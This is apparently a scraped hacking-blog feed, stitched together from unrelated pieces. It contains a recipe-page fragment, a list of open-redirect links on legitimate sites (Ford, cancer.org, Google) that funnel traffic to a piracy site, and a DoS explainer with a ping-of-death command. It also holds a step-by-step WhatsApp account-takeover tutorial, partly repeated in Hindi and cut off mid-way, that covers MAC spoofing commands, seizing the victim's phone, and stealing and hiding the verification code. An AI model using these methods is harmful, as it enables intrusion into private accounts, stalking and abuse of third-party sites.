<amp-img height="1024" src="https://images.unsplash.com/photo-1586124288018-532db41fdee3?ixlib=rb-1.2.1&q=80&fm=jpg&crop=entropy&cs=tinysrgb&w=1080&fit=max&ixid=eyJhcHBfaWQiOjgwOTU5fQ" width="1024" class="image-fit-cover" style="color: #FFFFFF;opacity: 1;object-fit: cover;" animate-in="fade-in" animate-in-duration="2s" animate-in-delay="0.1s" layout="responsive">
</amp-img>
</amp-story-grid-layer>
<amp-story-grid-layer class="top" template="vertical">
<div style="">
<p style="color: #040404;opacity: 1;font-family: Playfair Display;font-size: 1.5625em;text-align: center;font-weight: bold;">
- Last Step -
</p>
</div>
<div style="">
<p style="color: #040404;opacity: 1;font-family: Montserrat;font-size: 0.875em;text-align: center;font-weight: bold;margin-top: 30px;" animate-in="fade-in" animate-in-duration="2s" animate-in-delay="0.4s">
Garnish with some coconut flakes and/or maraschino cherries and enjoy. Cheers!
</p>
</div>
</amp-story-grid-layer>
<amp-story-cta-layer>
<div class="bottom-center" style="display: flex;height: 100%;" animate-in-duration="nulls" animate-in-delay="nulls">
<a href="https://ampstor.co" style="color: #ffffff;text-decoration: none;font-family: Roboto;font-weight: bold;font-size: 14px;display: inline-flex;align-items: center;border-color: #ffffff;border-width: 2px;border-style: solid;margin-bottom: 20px;border-radius: 20px;padding-left: 30px;padding-bottom: 10px;padding-right: 30px;padding-top: 10px;">
<span style="padding: 0 5px;">
Get Recipe
</span>
</a>
</div>
</amp-story-cta-layer>
</amp-story-page>
</amp-story>
</body>
</html>ANKIT DALALhttp://www.blogger.com/profile/05457339890697420257noreply@blogger.com0tag:blogger.com,1999:blog-3384397065802397633.post-89603625696185114922021-03-24T06:59:00.004-07:002021-03-24T07:01:04.193-07:00Test Backlinks <div><p dir="ltr"><a href="https://accounts.cancer.org/login?redirectURL=https://www.tamilrockers.com">https://accounts.cancer.org/login?redirectURL=https://www.tamilrockers.com</a></p>
<p dir="ltr"><a href="https://www.etis.ford.com/externalURL.do?url=https://www.tamilrockers.wiki">https://www.etis.ford.com/externalURL.do?url=https://www.tamilrockers.wiki</a></p>
<p dir="ltr"><a href="https://aa.org/pages/en_US/disclaimer?u=https://www.tamilrockers.wiki">https://aa.org/pages/en_US/disclaimer?u=https://www.tamilrockers.wiki</a></p>
<p dir="ltr"><a href="http://babiestotsmore.businesscatalyst.com/Redirect.aspx?destination=https://www.tamilrockers.wiki">http://babiestotsmore.businesscatalyst.com/Redirect.aspx?destination=https://www.tamilrockers.wiki</a><br />
<a href="http://nitrogen.sub.jp/php/Viewer.php?URL=https://www.tamilrockers.wiki">http://nitrogen.sub.jp/php/Viewer.php?URL=https://www.tamilrockers.wiki</a></p>
<p dir="ltr"><a href="http://secure.duoservers.com/?lang=en&s_id=123179&rdomain=tamilrockers.wiki&action=order&popup=1">http://secure.duoservers.com/?lang=en&s_id=123179&rdomain=tamilrockers.wiki&action=order&popup=1</a><br />
<a href="https://register.scotland.gov.uk/Subscribe/WidgetSignup?url=https://www.tamilrockers.wiki">https://register.scotland.gov.uk/Subscribe/WidgetSignup?url=https://www.tamilrockers.wiki</a><br />
<a href="http://redir.yy.duowan.com/warning.php?url=https://www.tamilrockers.wiki">http://redir.yy.duowan.com/warning.php?url=https://www.tamilrockers.wiki</a></p>
<p dir="ltr"><a href="http://ssomgmt.ascd.org/profile/createsso/CreateSSO.aspx?returnurl=https://www.tamilrockers.wiki">http://ssomgmt.ascd.org/profile/createsso/CreateSSO.aspx?returnurl=https://www.tamilrockers.wiki</a>/<br />
<a href="http://static.3.203.76.144.clients.your-server.de/phpinfo.php?a">http://static.3.203.76.144.clients.your-server.de/phpinfo.php?a</a>[]=%3Ca+href=<a href="https://www.tamilrockers.wiki">https://www.tamilrockers.wiki</a>%3Etamilrockers%3C/a%3E</p>
<p dir="ltr"><a href="http://legacy.aom.org/verifymember.asp?nextpage=https://www.tamilrockers.wiki">http://legacy.aom.org/verifymember.asp?nextpage=https://www.tamilrockers.wiki</a></p>
<p dir="ltr"><a href="https://contacts.google.com/url?q=https://www.tamilrockers.wiki">https://contacts.google.com/url?q=https://www.tamilrockers.wiki</a><br />
<a href="http://yellowpages.sfexaminer.com/__media__/js/netsoltrademark.php?d=https://www.tamilrockers.wiki">http://yellowpages.sfexaminer.com/__media__/js/netsoltrademark.php?d=https://www.tamilrockers.wiki</a></p>
<p dir="ltr"><a href="http://yellowpages.staradvertiser.com/__media__/js/netsoltrademark.php?d=https://www.tamilrockers.wiki">http://yellowpages.staradvertiser.com/__media__/js/netsoltrademark.php?d=https://www.tamilrockers.wiki</a></p>
<p dir="ltr">1. <a href="https://www.etis.ford.com/externalURL.do?url=https://www.tamilrockers.wiki">https://www.etis.ford.com/externalURL.do?url=https://www.tamilrockers.wiki</a><br />
2. <a href="http://sherlock.scribblelive.com/r?u=https://www.tamilrockers.wiki">sherlock.scribblelive.com/r?u=https://www.tamilrockers.wiki</a><br />
3. <a href="https://foaf-visualizer.gnu.org.ua/?url=https://www.tamilrockers.wiki">https://foaf-visualizer.gnu.org.ua/?url=https://www.tamilrockers.wiki</a><br />
4. <a href="http://yellowpages.staradvertiser.com/__media__/js/netsoltrademark.php?d=tamilrockers.wiki">http://yellowpages.staradvertiser.com/__media__/js/netsoltrademark.php?d=tamilrockers.wiki</a><br />
5. <a href="http://feed.thepund.it/?url=https://www.tamilrockers.wiki">feed.thepund.it/?url=https://www.tamilrockers.wiki</a><br />
6. <a href="http://search.kenoshanews.com/__media__/js/netsoltrademark.php?d=www.tamilrockers.wiki">http://search.kenoshanews.com/__media__/js/netsoltrademark.php?d=www.tamilrockers.wiki</a><br />
7. <a href="http://yellowpages.rrstar.com/__media__/js/netsoltrademark.php?d=www.tamilrockers.wiki">http://yellowpages.rrstar.com/__media__/js/netsoltrademark.php?d=www.tamilrockers.wiki</a><br />
8. <a href="http://www.pingmyurl.com/resources/go.php?url=https://www.tamilrockers.wiki">www.pingmyurl.com/resources/go.php?url=https://www.tamilrockers.wiki</a><br />
9. <a href="https://reply.transindex.ro/t/?url=https://www.tamilrockers.wiki">https://reply.transindex.ro/t/?url=https://www.tamilrockers.wiki</a><br />
10. <a href="https://forum.bdaia.com/forums/users/tamilrockers">https://forum.bdaia.com/forums/users/tamilrockers</a>/<br />
11. <a href="https://consultaca.com/redir/?ca=12115&url=https://www.tamilrockers.wiki">https://consultaca.com/redir/?ca=12115&url=https://www.tamilrockers.wiki</a><br />
12. </p><br /></div>ANKIT DALALhttp://www.blogger.com/profile/05457339890697420257noreply@blogger.com0tag:blogger.com,1999:blog-3384397065802397633.post-75802623109718368562019-12-05T07:31:00.002-08:002021-11-01T05:30:35.206-07:00What is DOS Attacks [Full Explained]<div><b>What is DOS Attacks [Full Explained]</b></div><div><b><div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7MW5nVQfycO18QeUToJeQlQJNNXN4XIdqn-blFMQ1qN_ldOzwACk2OYiY9r3cTTNubeD07u5EzPOIL3z40Ju4XMkfk_CiRm7g_FHz66LaicaqwHPwWvEozIg2yxmk4q7pnx_CGWKd5XYq/s1600/1575559826124582-0.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;">
<img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7MW5nVQfycO18QeUToJeQlQJNNXN4XIdqn-blFMQ1qN_ldOzwACk2OYiY9r3cTTNubeD07u5EzPOIL3z40Ju4XMkfk_CiRm7g_FHz66LaicaqwHPwWvEozIg2yxmk4q7pnx_CGWKd5XYq/s1600/1575559826124582-0.png" width="400">
</a>
</div><br></b></div><div><b><br></b></div><div>DOS Attacks or Denial Of Services Attack have become very common amongst Hackers who use them as a path to </div><div>fame and respect in the underground groups of the Internet. Denial of Service Attacks basically means denying valid </div><div>Internet and Network users from using the services of the target network or server. It basically means, launching an </div><div>attack, which will temporarily make the services, offered by the Network unusable by legitimate users.</div><div>In others words one can describe a DOS attack, saying that a DOS attack is one in which you clog up so much </div><div>memory on the target system that it cannot serve legitimate users. Or you send the target system data packets, which </div><div>cannot be handled by it and thus causes it to either crash, reboot or more commonly deny services to legitimate users.</div><div>DOS Attacks are of the following different types-:</div><div>1. Those that exploit vulnerabilities in the TCP/IP protocols suite.</div><div>2. Those that exploit vulnerabilities in the Ipv4 implementation.</div><div> 3 There are also some brute force attacks, which try to use up all resources of the target system and make </div><div>the services unusable.</div><div>Before I go on with DOS attacks, let me explain some vulnerabilities in TCP/IP itself. Some common vulnerabilities </div><div>are Ping of Death, Teardrop, SYN attacks and Land Attacks.</div><div>Ping of Death</div><div>This vulnerability is quite well known and was earlier commonly used to hang remote systems (or even force them to </div><div>reboot) so that no users can use its services. This exploit no longer works, as almost all system administrators would </div><div>have upgraded their systems making them safe from such attacks.</div><div>In this attack, the target system is pinged with a data packet that exceeds the maximum bytes allowed by TCP/IP, </div><div>which is 65 536. This would have almost always caused the remote system to hang, reboot or crash. This DOS attack </div><div>could be carried out even through the command line, in the following manner:</div><div>The following Ping command creates a giant datagram of the size 65540 for Ping. It might hang the victim's </div><div>computer:</div><div>C:\windows>ping -l 65540</div><div>Teardrop</div><div>The Teardrop attack exploits the vulnerability present in the reassembling of data packets. Whenever data is being </div><div>sent over the Internet, it is broken down into smalle</div><div>r fragments at the source system and put together at the </div><div>destination system. Say you need to send 4000 bytes of data from one system to the other, then not all of the 4000 </div><div>bytes is sent at one go. This entire chunk of data is first broken down into smaller parts and divided into a number ofpackets, with each packet carrying a specified range of data. For Example, say 4000 bytes is divided into 3 packets, </div><div>then:</div><div>The first Packet will carry data from 1 byte to 1500 bytes</div><div>The second Packet will carry data from 1501 bytes to 3000 bytes</div><div>The third packet will carry data from 3001 bytes to 4000 bytes</div><div>These packets have an OFFSET field in their TCP header part. This Offset field specifies from which byte to which </div><div>byte does that particular data packet carries data or the range of data that it is carrying. This along with the sequence </div><div>numbers helps the destination system to reassemble the data packets in the correct order. Now in this attack, a series </div><div>of data packets are sent to the target system with overlapping Offset field values. As a result, the target system is not </div><div>able to reassemble the packets and is forced to crash, hang or reboot.</div><div>Say for example, consider the following scenario-: (Note: _ _ _ = 1 Data Packet)</div><div>Normally a system receives data packets in the following form, with no overlapping Offset values.</div><div> _ _ _ _ _ _ _ _ _</div><div>(1 to 1500 bytes) (1501 to 3000 bytes) (3001 to 4500 bytes)</div><div>Now in a Teardrop attack, the data packets are sent to the target computer in the following format:</div><div> _ _ _ _ _ _ _ _ _</div><div>(1 to 1500 bytes) (1500 to 3000 bytes) (1001 to 3600 bytes)</div><div>When the target system receives something like the above, it simply cannot handle it and will crash or hang or reboot.</div><div>SYN Attack</div><div>The SYN attack exploits TCP/IP's three-way handshake. Thus in order to understand as to how SYN Attacks work, </div><div>you need to first know how TCP/IP establishes a connection between two systems. Whenever a client wants to </div><div>establish a connection with a host, then three steps take place. These three steps are referred to as the three-way </div><div>handshake. </div><div> In a normal three way handshake, what happens is that, the client sends a SYN packet to the host, the host replies to </div><div>this packet with a SYN ACK packet. Then the client responds with a ACK (Acknowledgement) packet. This will be </div><div>clearer after the following depiction of these steps-:</div><div>1. Client --------SYN Packet--------------à Host</div><div>In the first step the client sends a SYN packet to the host, with whom it wants to establish a three-way connection. </div><div>The SYN packet requests the remote system for a connection. It also contains the Initial Sequence Number or ISN of </div><div>the client, which is needed by the host to put back the fragmented data in the correct sequence.</div><div>2. Host -------------SYN/ACK Packet----------à Client</div><div>In the second step, the host replies to the client with a SYN/ACK packet. This packet acknowledges the SYN packet </div><div>sent by the client and sends the client its own ISN.</div><div><br></div><div><div>3. Client --------------ACK-----------------------à Host</div><div>In the last step the client acknowledges the SYN/ACK packet sent by the host by replying with a ACK packet. </div><div>These three steps together are known as the 3-way handshake and only when they are completed is a complete TCP/</div><div>IP connection established.</div><div>In a SYN attack, several SYN packets are sent to the server but all these SYN packets have a bad source IP Address. </div><div>When the target system receives these SYN Packets with Bad IP Addresses, it tries to respond to each one of them </div><div>with a SYN ACK packet. Now the target system waits for an ACK message to come from the bad IP address. </div><div>However, as the bad IP does not actually exist, the target system never actually receives the ACK packet. It thus </div><div>queues up all these requests until it receives an ACK message. The requests are not removed unless and until, the </div><div>remote target system gets an ACK message. Hence these requests take up or occupy valuable resources of the target </div><div>machine. </div><div>To actually affect the target system, a large number of SYN bad IP packets have to be sent. As these packets have a </div><div>Bad Source IP, they queue up, use up resources and memory or the target system and eventually crash, hang or </div><div>reboot the system. </div><div>Land Attacks</div><div>A Land attack is similar to a SYN attack, the only difference being that instead of a bad IP Address, the IP address of </div><div>the target system itself is used. This creates an infinite loop between the target system and the target system itself. </div><div>However, almost all systems have filters or firewalls against such attacks.</div><div>Smurf Attacks</div><div>A Smurf attack is a sort of Brute Force DOS Attack, in which a huge number of Ping Requests are sent to a system </div><div>(normally the router) in the Target Network, using Spoofed IP Addresses from within the target network. As and </div><div>when the router gets a PING message, it will route it or echo it back, in turn flooding the Network with Packets, and </div><div>jamming the traffic. If there are a large number of nodes, hosts etc in the Network, then it can easily clog the entire </div><div>network and prevent any use of the services provided by it.</div><div>Read more about the Smurf Attacks at CERT: http://www.cert.org/advisories/CA-98.01.smurf.html</div><div>UDP Flooding</div><div>This kind of flooding is done against two target systems and can be used to stop the services offered by any of the </div><div>two systems. Both of the target systems are connected to each other, one generating a series of characters for each </div><div>packet received or in other words, requesting UDP character generating service while the other system, echoes all </div><div>characters it receives. This creates an infinite non-stopping loop between the two systems, making them useless for </div><div>any data exchange or service provision.</div><div>Distributed DOS Attacks</div><div>DOS attacks are not new; in fact they have been around for a long time. However there has been a recent wave of </div><div>Distributed Denial of Services attacks which pose a great threat to Security and are on the verge of overtaking.</div></div><div><div>Viruses/Trojans to become the deadliest threat to Internet Security. Now you see, in almost all of the above TCP/IP </div><div>vulnerabilities, which are being exploited by hackers, there is a huge chance of the target's system administrator or </div><div>the authorities tracing the attacks and getting hold of the attacker. </div><div>Now what is commonly being done is, say a group of 5 Hackers join and decide to bring a Fortune 500 company's </div><div>server down. Now each one of them breaks into a smaller less protected network and takes over it. So now they have </div><div>5 networks and supposing there are around 20 systems in each network, it gives these Hackers, around 100 systems </div><div>in all to attack from. So they sitting on there home computer, connect to the hacked less protected Network, install a </div><div>Denial of Service Tool on these hacked networks and using these hacked systems in the various networks launch </div><div>Attacks on the actual Fortune 500 Company. This makes the hackers less easy to detect and helps them to do what </div><div>they wanted to do without getting caught. As they have full control over the smaller less protected network they can </div><div>easily remove all traces before the authorities get there.</div><div>Not even a single system connected to the Internet is safe from such DDOS attacks. All platforms Including Unix, </div><div>Windows NT are vulnerable to such attacks. Even MacOS has not been spared, as some of them are being used to </div><div>conduct such DDOS attacks. </div><div>With this we come to the end of the first edition of DOS Attacked!!! Hope you liked this manual. This manual was </div><div>an excerpt from the DOS attacked Tutorial, which was written exclusively for the HT Club. If you too are interested </div><div>in receiving such manuals in the future, simply join the HT Club. </div></div>
<div class="wendybox">
<h2>Judul</h2>
<table cellpadding="0" cellspacing="0" style="text-align: left;">
<tbody>
<tr><td><b>Nama</b></td> <td>Coding Pro</td></tr>
<tr><td><b>Lisensi</b></td> <td>Personal</td></tr>
<tr><td><b>Versi</b></td> <td>1.0</td></tr>
<tr><td><b>Harga</b></td> <td>Rp.100.000</td></tr>
</tbody>
</table>
</div>ANKIT DALALhttp://www.blogger.com/profile/05457339890697420257noreply@blogger.com0tag:blogger.com,1999:blog-3384397065802397633.post-84128164565957787672019-12-04T23:25:00.012-08:002021-11-18T03:56:03.668-08:00HOW TO HACK WHATSAPP ACCOUNT <b:if cond='data:blog.url == "https://hackingstation4all.blogspot.com/2019/12/how-to-hack-whatsapp-account.htm"'>
<div>
<div>💢 <b>HOW TO HACK WHATSAPP ACCOUNT </b>💢</div><div><div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgD_e04_QHyq5jLj2iqq61O0ZDJ3KVakLhMlIe8bUl2pSLKvlg0EW_40vyRHxoLrTbUS2INi-5H20Ll9M5cM8NPBqaIvRlBAEfWmuBM0ffV2Xi86NtwZGphiUJLkfVYG1G5HmEHFhXfkq7t/s1600/1575530738210560-0.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;">
<img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgD_e04_QHyq5jLj2iqq61O0ZDJ3KVakLhMlIe8bUl2pSLKvlg0EW_40vyRHxoLrTbUS2INi-5H20Ll9M5cM8NPBqaIvRlBAEfWmuBM0ffV2Xi86NtwZGphiUJLkfVYG1G5HmEHFhXfkq7t/s1600/1575530738210560-0.png" width="400">
</a>
</div><br></div><div><br></div><div>Hello everybody I am exploit hacker come again with hacking tutorial .It's for those who think hacking is easy and I have enough time to do for you. </div><div><br></div><div>In this tutorial we will show you how to hack whatsapp account through mac spoofing attack. </div><div><br></div><div>First of all the requirements of this procedure are:</div><div> </div><div>👍1. Mobile Phone Rooted</div><div><br></div><div>👍2. Target's Phone for 5 minutes</div><div><br></div><div>👍3. Busybox and Terminal App installed on your android device</div><div><br></div><div>👍4. Wifi Scanner ( if you can't reach the target's phone for getting his / her mac address through setting</div><div><br></div><div>✅1. Uninstall WhatsApp from your phone or device. You'll install it again at the end of the method, but you'll need to configure it differently, and the easiest way to make sure you'll be able to do that correctly is to completely uninstall it now.</div><div><br></div><div>✅2. Obtain your target's phone. You'll need it for two different steps throughout the process, but this shouldn't take too long - you should be able to return it before your target starts to miss it.</div><div><br></div><div>✅3. Find your target's phone's Media Access Control (MAC) address. A MAC address is a unique identifier assigned to your phone or other device that essentially serves as its online identity. Find and write down your target's MAC address. It takes the form of six pairs of letters or numbers, separated by colons (01:23:45:67:89:ab).</div><div><br></div><div>On an Android, find this in Settings → About phone → Status → Wi-Fi MAC address.</div><div><br></div><div>On an iPhone, go to Settings → General → About → Wi-Fi Address.</div><div><br></div><div>On a Windows phone, look in Settings → About → More info → MAC address.</div><div>On a BlackBerry, go to Options → Device → Device and Status info → WLAN MAC.</div><div> </div><div>✅4. Find your MAC address using the instructions above. Make sure to save it somewhere secure, as you'll want to change your device back to that address once you're done.</div><div><br></div><div>✅5. Change ("spoof") your phone's MAC address to that of your target. This will allow your phone to pass as your target's, letting you convince WhatsApp that you are your target when you log in.</div><div><br></div><div>On an iPhone or other device, install a MAC spoofing app like MacDaddy X or WifiSpoof. Use that to change your MAC address.</div><div><br></div><div>On Android, install BusyBox and the Terminal Emulator (apps available for free on Google Play). In the terminal, type "ip link show" to see a list of interfaces. Identify the one that has your MAC address -- for this example, we'll use the eth0 interface. In the terminal emulator, enter "ip link set eth0 address XX:XX:XX:XX:XX:XX" and "ip link set eth0 broadcast XX:XX:XX:XX:XX:XX", where eth0 is the interface you identified and XX:XX:XX:XX:XX:XX is your target's MAC address. To check that you've successfully changed your MAC address, enter "ip link show eth0."</div><div><br></div><div>✅6. Install and configure WhatsApp on your phone. Enter your target's phone number to set up WhatsApp rather than your own. This will allow you to receive their messages and send messages from their account.</div><div><br></div><div>✅7. Get the confirmation code from your target's phone. This code will be sent to their phone number as part of the WhatsApp configuration process. Access their phone one last time to get that verification code. Enter it into WhatsApp on your phone when prompted, and you're all ready to go.</div><div><br></div><div>If you don't want your target to find out about your spoofing, make sure to delete the confirmation code from their phone before they can see it.</div><div><br></div><div>✅8. When you no longer need to access your target's WhatsApp account, change your MAC address back to what it was. Repeat the instructions to change it, but this time change it to your original address rather than your target's. This will restore your phone to how it was originally, which will ensure that there are no future problems with Internet usage or connectivity.</div><div><br></div><div>If you can't reach the target's phone to get mac address you can use a WIFI SCANNER. If you can't get the code because you don't have physical access into the victim's phone you can use social engineering.</div><div><br></div><div>➖➖ @HckingStation ➖➖</div><div><br></div><div>Author~Dark Soul </div><div><br></div><div>Group Invite Link ~ Hacking Station</div><div>HelpDesk~comment me down for help</div><div><br></div>
</div>
<b:elseif cond='data:blog.url == "https://hackingstation4all.blogspot.com/2019/12/how-to-hack-whatsapp-account.html?hl=hi"'/>
<div>
<p>
सभी को नमस्कार, मैं हैकर का शोषण कर रहा हूं, फिर से हैकिंग ट्यूटोरियल के साथ आएं। यह उन लोगों के लिए है जो सोचते हैं कि हैकिंग आसान है और मेरे पास आपके लिए करने के लिए पर्याप्त समय है।
इस ट्यूटोरियल में हम आपको दिखाएंगे कि मैक स्पूफिंग अटैक के जरिए व्हाट्सएप अकाउंट कैसे हैक किया जाता है।
सबसे पहले इस प्रक्रिया की आवश्यकताएं हैं:
1. मोबाइल फोन रूट किया गया
2. 5 मिनट के लिए लक्ष्य का फ़ोन
3. आपके एंड्रॉइड डिवाइस पर बिजीबॉक्स और टर्मिनल ऐप इंस्टॉल किया गया
4. वाईफ़ाई स्कैनर (यदि आप सेटिंग के माध्यम से उसका मैक पता प्राप्त करने के लिए लक्ष्य के फोन तक नहीं पहुंच सकते हैं
1. अपने फोन या डिवाइस से व्हाट्सएप को अनइंस्टॉल करें। आप इसे विधि के अंत में फिर से स्थापित करेंगे, लेकिन आपको इसे अलग तरीके से कॉन्फ़िगर करने की आवश्यकता होगी, और यह सुनिश्चित करने का सबसे आसान तरीका है कि आप इसे सही तरीके से करने में सक्षम होंगे, इसे अभी पूरी तरह से अनइंस्टॉल करना है।
2. अपने लक्ष्य का फोन प्राप्त करें। आपको पूरी प्रक्रिया में दो अलग-अलग चरणों के लिए इसकी आवश्यकता होगी, लेकिन इसमें बहुत अधिक समय नहीं लगना चाहिए - इससे पहले कि आपका लक्ष्य चूकना शुरू हो जाए, आपको इसे वापस करने में सक्षम होना चाहिए।
3. अपने लक्ष्य के फोन का मीडिया एक्सेस कंट्रोल (मैक) पता खोजें। एक मैक पता आपके फोन या अन्य डिवाइस को सौंपा गया एक विशिष्ट पहचानकर्ता है जो अनिवार्य रूप से इसकी ऑनलाइन पहचान के रूप में कार्य करता है। अपने लक्ष्य का MAC पता ढूंढें और लिखें। यह कोलन (01:23:45:67:89:ab) द्वारा अलग किए गए अक्षरों या संख्याओं के छह जोड़े का रूप लेता है।
Android पर, इसे सेटिंग → फ़ोन के बारे में → स्थिति → Wi-Fi MAC पता में खोजें।
एक iPhone पर, सेटिंग → सामान्य → के बारे में → वाई-फाई पता पर जाएं।
विंडोज फोन पर, सेटिंग्स → अबाउट → अधिक जानकारी → मैक एड्रेस में देखें।
ब्लैकबेरी पर, विकल्प → डिवाइस → डिवाइस और स्थिति की जानकारी → WLAN MAC पर जाएं।
4. ऊपर दिए गए निर्देशों का उपयोग करके अपना मैक पता खोजें। इसे कहीं सुरक्षित रूप से सहेजना सुनिश्चित करें, क्योंकि काम पूरा करने के बाद आप अपने डिवाइस को वापस उस पते पर बदलना चाहेंगे।
5. अपने फोन के मैक पते को अपने लक्ष्य के मैक पते में बदलें ("स्पूफ")। यह आपके फोन को आपके लक्ष्य के रूप में पारित करने की अनुमति देगा, जिससे आप व्हाट्सएप को यह विश्वास दिला सकते हैं कि जब आप लॉग इन करते हैं तो आप ही अपना लक्ष्य होते हैं।
किसी iPhone या अन्य डिवाइस पर, MacDaddy X या WifiSpoof जैसा MAC स्पूफ़िंग ऐप इंस्टॉल करें। अपना मैक पता बदलने के लिए इसका इस्तेमाल करें।
एंड्रॉइड पर, बिजीबॉक्स और टर्मिनल एमुलेटर (Google Play पर मुफ्त में उपलब्ध ऐप्स) इंस्टॉल करें। टर्मिनल में, इंटरफेस की सूची देखने के लिए "आईपी लिंक शो" टाइप करें। उसे पहचानें जिसमें आपका MAC पता है -- इस उदाहरण के लिए, हम eth0 इंटरफ़ेस का उपयोग करेंगे। टर्मिनल एमुलेटर में, "आईपी लिंक सेट एथ0 एड्रेस एक्सएक्स: एक्सएक्स: एक्सएक्स: एक्सएक्स: एक्सएक्स: एक्सएक्स" और "आईपी लिंक सेट एथ 0 ब्रॉडकास्ट एक्सएक्स: एक्सएक्स: एक्सएक्स: एक्सएक्स: एक्सएक्स: एक्सएक्स" दर्ज करें, जहां eth0 इंटरफ़ेस है जिसे आप पहचाना गया है और XX:XX:XX:XX:XX:XX आपके लक्ष्य का MAC पता है। यह जांचने के लिए कि आपने अपना मैक पता सफलतापूर्वक बदल लिया है, "आईपी लिंक शो eth0" दर्ज करें।
6. अपने फोन में व्हाट्सएप इंस्टॉल और कॉन्फ़िगर करें। व्हाट्सएप सेट करने के लिए अपने लक्ष्य का फोन नंबर दर्ज करें न कि अपना। यह आपको उनके संदेश प्राप्त करने और उनके खाते से संदेश भेजने की अनुमति देगा।
7. अपने लक्ष्य के फ़ोन से पुष्टिकरण कोड प्राप्त करें। व्हाट्सएप कॉन्फ़िगरेशन प्रक्रिया के हिस्से के रूप में यह कोड उनके फोन नंबर पर भेजा जाएगा। सत्यापन कोड प्राप्त करने के लिए उनके फ़ोन को अंतिम बार एक्सेस करें। संकेत मिलने पर इसे अपने फ़ोन के WhatsApp में दर्ज करें, और आप जाने के लिए तैयार हैं।
यदि आप नहीं चाहते कि आपका लक्ष्य आपके स्पूफिंग के बारे में पता लगाए, तो उनके फ़ोन से पुष्टिकरण कोड को देखने से पहले उसे हटाना सुनिश्चित करें।
8. जब आपको अपने लक्ष्य के व्हाट्सएप खाते तक पहुंचने की आवश्यकता नहीं है, तो अपने मैक पते को वापस वही बदलें जो वह था। इसे बदलने के लिए निर्देशों को दोहराएं, लेकिन इस बार इसे अपने लक्ष्य के बजाय अपने मूल पते में बदलें। यह आपके फोन को मूल रूप से पुनर्स्थापित करेगा, जिससे यह सुनिश्चित होगा कि इंटरनेट के उपयोग या कनेक्टिविटी के साथ भविष्य में कोई समस्या नहीं है।
यदि आप मैक पता प्राप्त करने के लिए लक्ष्य के फोन तक नहीं पहुंच सकते हैं तो आप वाईफ़ाई स्कैनर का उपयोग कर सकते हैं। यदि आपको कोड नहीं मिल रहा है क्योंकि आपके पास पीड़ित के फोन तक भौतिक पहुंच नहीं है तो आप सोशल इंजीनियरिंग का उपयोग कर सकते हैं।सभी को नमस्कार, मैं हैकर का शोषण कर रहा हूं, फिर से हैकिंग ट्यूटोरियल के साथ आएं। यह उन लोगों के लिए है जो सोचते हैं कि हैकिंग आसान है और मेरे पास आपके लिए करने के लिए पर्याप्त समय है।
इस ट्यूटोरियल में हम आपको दिखाएंगे कि मैक स्पूफिंग अटैक के जरिए व्हाट्सएप अकाउंट कैसे हैक किया जाता है।
सबसे पहले इस प्रक्रिया की आवश्यकताएं हैं:
1. मोबाइल फोन रूट किया गया
2. 5 मिनट के लिए लक्ष्य का फ़ोन
3. आपके एंड्रॉइड डिवाइस पर बिजीबॉक्स और टर्मिनल ऐप इंस्टॉल किया गया
4. वाईफ़ाई स्कैनर (यदि आप सेटिंग के माध्यम से उसका मैक पता प्राप्त करने के लिए लक्ष्य के फोन तक नहीं पहुंच सकते हैं
1. अपने फोन या डिवाइस से व्हाट्सएप को अनइंस्टॉल करें। आप इसे विधि के अंत में फिर से स्थापित करेंगे, लेकिन आपको इसे अलग तरीके से कॉन्फ़िगर करने की आवश्यकता होगी, और यह सुनिश्चित करने का सबसे आसान तरीका है कि आप इसे सही तरीके से करने में सक्षम होंगे, इसे अभी पूरी तरह से अनइंस्टॉल करना है।
2. अपने लक्ष्य का फोन प्राप्त करें। आपको पूरी प्रक्रिया में दो अलग-अलग चरणों के लिए इसकी आवश्यकता होगी, लेकिन इसमें बहुत अधिक समय नहीं लगना चाहिए - इससे पहले कि आपका लक्ष्य चूकना शुरू हो जाए, आपको इसे वापस करने में सक्षम होना चाहिए।
3. अपने लक्ष्य के फोन का मीडिया एक्सेस कंट्रोल (मैक) पता खोजें। एक मैक पता आपके फोन या अन्य डिवाइस को सौंपा गया एक विशिष्ट पहचानकर्ता है जो अनिवार्य रूप से इसकी ऑनलाइन पहचान के रूप में कार्य करता है। अपने लक्ष्य का MAC पता ढूंढें और लिखें। यह कोलन (01:23:45:67:89:ab) द्वारा अलग किए गए अक्षरों या संख्याओं के छह जोड़े का रूप लेता है।
Android पर, इसे सेटिंग → फ़ोन के बारे में → स्थिति → Wi-Fi MAC पता में खोजें।
एक iPhone पर, सेटिंग → सामान्य → के बारे में → वाई-फाई पता पर जाएं।
विंडोज फोन पर, सेटिंग्स → अबाउट → अधिक जानकारी → मैक एड्रेस में देखें।
ब्लैकबेरी पर, विकल्प → डिवाइस → डिवाइस और स्थिति की जानकारी → WLAN MAC पर जाएं।
4. ऊपर दिए गए निर्देशों का उपयोग करके अपना मैक पता खोजें। इसे कहीं सुरक्षित रूप से सहेजना सुनिश्चित करें, क्योंकि काम पूरा करने के बाद आप अपने डिवाइस को वापस उस पते पर बदलना चाहेंगे।
5. अपने फोन के मैक पते को अपने लक्ष्य के मैक पते में बदलें ("स्पूफ")। यह आपके फोन को आपके लक्ष्य के रूप में पारित करने की अनुमति देगा, जिससे आप व्हाट्सएप को यह विश्वास दिला सकते हैं कि जब आप लॉग इन करते हैं तो आप ही अपना लक्ष्य होते हैं।
किसी iPhone या अन्य डिवाइस पर, MacDaddy X या WifiSpoof जैसा MAC स्पूफ़िंग ऐप इंस्टॉल करें। अपना मैक पता बदलने के लिए इसका इस्तेमाल करें।
